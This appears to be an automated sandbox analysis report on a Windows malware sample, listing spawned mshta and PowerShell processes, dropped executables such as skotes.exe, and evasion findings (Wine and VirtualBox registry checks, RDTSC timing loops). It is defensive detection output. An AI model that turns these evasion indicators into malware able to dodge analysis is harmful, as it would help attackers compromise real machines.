Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Code function: 0_2_0069F98E GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput, 0_2_0069F98E
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Code function: 0_2_00711C41 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed, 0_2_00711C41
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion
barindex
Found API chain indicative of sandbox detection
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Sandbox detection routine: GetForegroundWindow, DecisionNode, Sleep
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Tries to detect virtualization through RDTSC time measurements
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: C6EA61 second address: C6EA65 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: DF4936 second address: DF499F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F099C534114h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jnc 00007F099C53410Ch 0x0000000f jmp 00007F099C534114h 0x00000014 popad 0x00000015 push edi 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F099C534118h 0x0000001d jmp 00007F099C534115h 0x00000022 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: DF499F second address: DF49A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: DF3EEA second address: DF3EF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: DF5D1C second address: DF5D20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
